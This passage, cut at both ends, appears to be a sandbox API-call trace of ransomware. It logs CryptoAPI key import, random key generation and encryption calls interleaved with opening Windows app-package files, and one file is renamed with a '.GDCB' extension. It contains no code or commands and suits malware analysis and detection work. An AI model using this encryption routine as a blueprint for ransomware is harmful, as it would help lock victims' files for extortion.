phProv=0x285d22c*=0x5c4760) returned 1 [0252.347] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781d88) returned 1 [0252.347] CryptGetKeyParam (in: hKey=0x6781d88, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0252.347] CryptEncrypt (in: hKey=0x6781d88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcbb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcbb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0252.347] GetLastError () returned 0x0 [0252.347] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.347] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\3530508098\\2495906576.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\microsoft\\windows\\3530508098\\2495906576.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0252.348] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcbc0000 [0252.351] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbd0000 [0252.353] ReadFile (in: hFile=0x520, lpBuffer=0xcbd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcbd0000*, lpNumberOfBytesRead=0x285d3e8*=0x13b60, lpOverlapped=0x0) returned 1 [0252.361] VirtualAlloc (lpAddress=0x0, dwSize=0x13b60, flAllocationType=0x3000, flProtect=0x4) returned 0xcce0000 [0252.368] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\3530508098\\2495906576.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\microsoft\\windows\\3530508098\\2495906576.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\3530508098\\2495906576.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\microsoft\\windows\\3530508098\\2495906576.pri.gdcb")) returned 1 [0252.380] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0252.383] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.385] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.386] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0252.386] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0252.386] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0252.389] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.391] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.391] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0252.391] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.392] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0252.394] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x6781008) returned 1 [0252.394] CryptGetKeyParam (in: hKey=0x6781008, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0252.394] CryptEncrypt (in: hKey=0x6781008, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcba0000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xcba0000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0252.394] GetLastError () returned 0x0 [0252.394] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.394] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0252.396] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x6780d48) returned 1 [0252.396] CryptGetKeyParam (in: hKey=0x6780d48, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0252.396] CryptEncrypt (in: hKey=0x6780d48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcbb0000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xcbb0000*, pdwDataLen=0x285db40*=0x100) returned 1 [0252.396] GetLastError () returned 0x0 [0252.396] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0252.396] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\speech_onecorereg.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\speech_onecorereg.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0252.402] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0252.406] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.408] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.408] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0252.408] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.408] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0252.410] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.412] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.413] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0252.413] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.414] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4980) returned 1 [0252.416] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x6780e88) returned 1 [0252.416] CryptGetKeyParam (in: hKey=0x6780e88, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0252.416] CryptEncrypt (in: hKey=0x6780e88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcbc0000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xcbc0000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0252.416] GetLastError () returned 0x0 [0252.416] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0252.416] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0252.418] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x6781f88) returned 1 [0252.418] CryptGetKeyParam (in: hKey=0x6781f88, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0252.418] CryptEncrypt (in: hKey=0x6781f88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcbd0000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xcbd0000*, pdwDataLen=0x285db40*=0x100) returned 1 [0252.418] GetLastError () returned 0x0 [0252.418] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0252.418] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0252.514] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0252.517] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.519] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.519] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0252.519] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.519] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0252.522] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.524] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.524] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0252.524] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0252.524] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0252.527] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781e48) returned 1 [0252.527] CryptGetKeyParam (in: hKey=0x6781e48, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0252.527] CryptEncrypt (in: hKey=0x6781e48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcbe0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcbe0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0252.527] GetLastError () returned 0x0 [0252.527] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0252.527] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0252.529] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781e88) returned 1 [0252.529] CryptGetKeyParam (in: hKey=0x6781e88, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0252.529] CryptEncrypt (in: hKey=0x6781e88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcbf0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcbf0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0252.529] GetLastError () returned 0x0 [0252.529] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.529] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\1605653898\\4275773285.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\ac\\microsoft\\windows\\1605653898\\4275773285.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0252.530] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0252.533] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.535] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.535] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0252.535] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0252.535] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0252.538] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.539] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.540] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0252.540] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.540] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0252.542] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781bc8) returned 1 [0252.542] CryptGetKeyParam (in: hKey=0x6781bc8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0252.542] CryptEncrypt (in: hKey=0x6781bc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcc00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcc00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0252.542] GetLastError () returned 0x0 [0252.542] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0252.542] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0252.545] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781ac8) returned 1 [0252.545] CryptGetKeyParam (in: hKey=0x6781ac8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0252.545] CryptEncrypt (in: hKey=0x6781ac8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcc10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcc10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0252.545] GetLastError () returned 0x0 [0252.545] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.545] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\2646675675\\806068533.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\ac\\microsoft\\windows\\2646675675\\806068533.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0252.546] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0252.549] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.550] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.550] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0252.550] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.551] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0252.553] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.555] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.555] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0252.555] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.555] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0252.557] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781c88) returned 1 [0252.557] CryptGetKeyParam (in: hKey=0x6781c88, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0252.557] CryptEncrypt (in: hKey=0x6781c88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcc20000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcc20000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0252.557] GetLastError () returned 0x0 [0252.557] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.557] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0252.559] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781d08) returned 1 [0252.559] CryptGetKeyParam (in: hKey=0x6781d08, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0252.559] CryptEncrypt (in: hKey=0x6781d08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcc30000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcc30000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0252.560] GetLastError () returned 0x0 [0252.560] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.560] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\3295484897\\2504515037.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\ac\\microsoft\\windows\\3295484897\\2504515037.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0252.560] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0252.563] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.565] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.565] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0252.565] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0252.565] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0252.568] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.570] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.570] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0252.570] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.570] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0252.573] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6782008) returned 1 [0252.573] CryptGetKeyParam (in: hKey=0x6782008, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0252.573] CryptEncrypt (in: hKey=0x6782008, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcc40000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcc40000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0252.573] GetLastError () returned 0x0 [0252.573] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0252.573] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0252.575] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67818c8) returned 1 [0252.575] CryptGetKeyParam (in: hKey=0x67818c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0252.576] CryptEncrypt (in: hKey=0x67818c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcc50000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcc50000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0252.576] GetLastError () returned 0x0 [0252.576] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.576] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\3375042201\\1858609885.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\ac\\microsoft\\windows\\3375042201\\1858609885.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0252.576] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0252.579] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.581] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.581] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0252.581] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.581] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0252.584] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.585] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.586] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0252.586] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.586] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0252.588] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6782048) returned 1 [0252.588] CryptGetKeyParam (in: hKey=0x6782048, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: 